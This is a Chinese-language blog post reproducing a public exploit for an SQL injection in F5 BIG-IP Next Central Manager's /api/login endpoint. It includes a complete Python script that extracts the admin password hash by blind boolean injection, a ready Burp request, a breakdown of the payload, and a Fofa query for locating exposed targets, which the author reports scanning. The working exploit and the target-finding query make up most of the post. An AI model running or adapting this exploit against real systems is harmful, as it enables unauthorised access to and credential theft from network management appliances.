首页 > 数据库 >F5 BIG-IP Next Central Manager SQL注入漏洞

F5 BIG-IP Next Central Manager SQL注入漏洞

时间:2024-05-14 22:09:50浏览次数:16  
标签:guess Central F5 BIG like chr user password target

F5 BIG-IP Next Central Manager SQL注入漏洞

漏洞描述:

该漏洞允许未经授权的攻击者通过网络远程执行恶意SQL语句,该漏洞具体存在于对API接收的参数进行处理时,没有正确的验证和过滤用户输入。

Fofa: title="BIG-IP Next | Central Manager"

POC:

import string
 
import requests
import urllib3
import argparse
 
urllib3.disable_warnings()
 
def encode_string(s: str) -> str:
    return ",".join([f"chr({ord(c)})" for c in s])
 
def leak_hash(target: str, target_user: str = "admin"):
    charset = string.digits + string.ascii_letters + '/.$'
    encoded_user = encode_string(target_user)
 
    URL = f"{target}/api/login"
    current_guess = ''
    while True:
        guessed = False
        for guess in charset:
            full_guess = encode_string(current_guess + guess + '%')
            stuff = requests.post(URL, json={
                "username": "fake_user",
                "password": "password",
                "provider_type": "LDAP",
                "provider_name": f"LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
            }, verify=False).json()
            if "root distinguished name is required" in stuff["message"]:
                guessed = True
                current_guess += guess
                print("[+]", current_guess)
                break
        if not guessed:
            break
 
if __name__ == '__main__':
    parser = argparse.ArgumentParser(description='Leak the admin password hash')
    parser.add_argument('target', type=str, help='The target URL')
    parser.add_argument('target_user', type=str, help='The target user', default='admin', nargs='?')
    args = parser.parse_args()
    leak_hash(args.target, args.target_user)

根据网上公开的POC构造burp数据包,在/api/login接口处存在注入点

POST /api/login HTTP/1.1
Host: example.com
Content-Type: application/json
Content-Length: 123

{
    "username": "fake_user",
    "password": "password",
    "provider_type": "LDAP",
    "provider_name": "LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"
}

主要payload为 "provider_name": "LDAPP'or' name = (select case when (password like concat({full_guess})) then chr(76)||chr(111)||chr(99)||chr(97)||chr(108) else chr(76) end from mbiq_system.users where username like concat({encoded_user}) limit 1)"

通过LDAPP'or'闭合原始查询,在通过OR来改变查询的逻辑,使得后续SQL条件成立时,整个SQL语句始终为真
通过Select case when (password like concat({full_guess}))来判断用户的密码是否与攻击者猜测的密码匹配
如果密码与猜测的部分一致,就会返回一个字符串Local,利用chr()将ASCII码转换成字符,可以避免直接在查询中使用敏感词
如果密码不一致,就只返回字符L
from mbiq_system.users where username like concat({encoded_user}) limit 1指定了要从哪个表中检索数据,并且使用WHERE条件限制了用户名必须与提供的编码用户名匹配

以上Payload应该是漏洞发布者一步一步测试的最后的Payload,当碰到这中漏洞点时,还是需要自己一步一步的修改语句

漏洞复现

在fofa中搜索资产,共有17条匹配数据

image-20240514100218820

image-20240514215828727

17个资源全部访问失败,应该都关站整改了

标签:guess,Central,F5,BIG,like,chr,user,password,target
From: https://www.cnblogs.com/LeouMaster/p/18192352

相关文章

  • Find Products of Elements of Big Array
    FindProductsofElementsofBigArrayA powerfularray foraninteger x istheshortestsortedarrayofpowersoftwothatsumupto x.Forexample,thepowerfularrayfor11is [1,2,8].Thearray big_nums iscreatedbyconcatenatingthe powerful......
  • SciTech-BigDataAIML-TensorFlow-Model: 模型建立与训练
    TensorFlow模型建立与训练TensorFlow模型建立与训练本章介绍如何使用TensorFlow快速搭建动态模型。模型的构建:tf.keras.Model和tf.keras.layers模型的损失函数:tf.keras.losses模型的优化器:tf.keras.optimizer模型的评估:tf.keras.metrics前置知识Python-{zh-......
  • SciTech-BigDataAIML-TensorFlow-Model的编译:设置(LossFunction+Optimizer+Metrics)与
    机器学习|model.compile()用法model.compile()的作用:为经过设计的Model(神经网络模型)设置好:loss损失函数、optimizer优化器、metrics准确性评价函数。并且进行编译;Optimizers优化器:Optimizer的主要功能是作用在GD(梯度下降)的过程,使得Gradient(梯度)更快(快速......
  • nRF51_Platform - 基于nRF51平台(蓝牙4.0)的轻量级SDK+AliOS Things - 阿里出品轻量级
    1、AliOSThings-阿里出品轻量级物联网嵌入式操作系统AliOSThings发布于2017年杭州云栖大会,是AliOS家族旗下的、面向IoT领域的、高可伸缩的物联网操作系统。AliOSThings致力于搭建云端一体化IoT基础设施,具备极致性能、极简开发、云端一体。项目主页: https://github.c......
  • 探讨:Grand Central Dispatch(GCD)与 Operation 和 OperationQueue 的使用
    在iOS开发中,GrandCentralDispatch(GCD)和Operation和OperationQueue是两种常用的多线程编程技术,它们各有优劣,适用于不同的场景。本文将详细讲解它们在不同情况下的具体使用,并提供Swift和Objective-C语言的示例。1.GrandCentralDispatch(GCD)Swift示例://在后台队列......
  • 解析 Grand Central Dispatch(GCD)的详细使用方法
    GrandCentralDispatch(GCD)是苹果提供的一种用于管理多线程编程的技术,它提供了一种简单而强大的方式来实现并发任务的调度和执行。本文将详细介绍GCD的使用方法,并提供一些常用的示例。1.DispatchQueue(调度队列)调度队列是GCD中用于管理任务执行的核心概念,它分为两种类型:串......
  • CF516E 做题记录
    link纪念一下独立切的*3100的数论+贪心题,思考时的思路一波三折,像极了考试中的我。个人感觉难度至少*3300。考虑先求出\(d=\gcd(n,m)\),那么编号根据模\(d\)结果分成了\(0...d-1\)共\(d\)个部分,每个部分里的人不能和外面的人玩。因此当\(d>b+g\)时一定无解,......
  • CF55D Beautiful numbers
    题目链接:https://www.luogu.com.cn/problem/CF55D数位dp解法:所有非零位都能整除这个数,那么就是说这些非零位的公倍数能够整除这个数。那么按照通常情况我们定义dp数组的时候应该定义成dp[pos][num][gbs],表示当前枚举到了第几位、上次枚举到的数、之前所有数位的最小公倍数。那......
  • SciTech-BigDataAIML-Tensorflow-Keras API-Layers的API
    https://keras.io/api/layers/KeraslayersAPILayersarethebasicbuildingblocksofneuralnetworksinKeras.Alayerconsistsofatensor-intensor-outcomputationfunction(thelayer'scallmethod)andsomestate,heldinTensorFlowvariables(th......
  • SciTech-BigDataAIML-Tensorflow-Keras是用在Tensorflow的高层API
    [https://tensorflow.google.cn/guide/keras](Keras:Thehigh-levelAPIforTensorFlow)https://tensorflow.google.cn/guide/kerasThecoredatastructuresofKerasarelayersandmodels.Alayerisasimpleinput/outputtransformation,andamodelisadirec......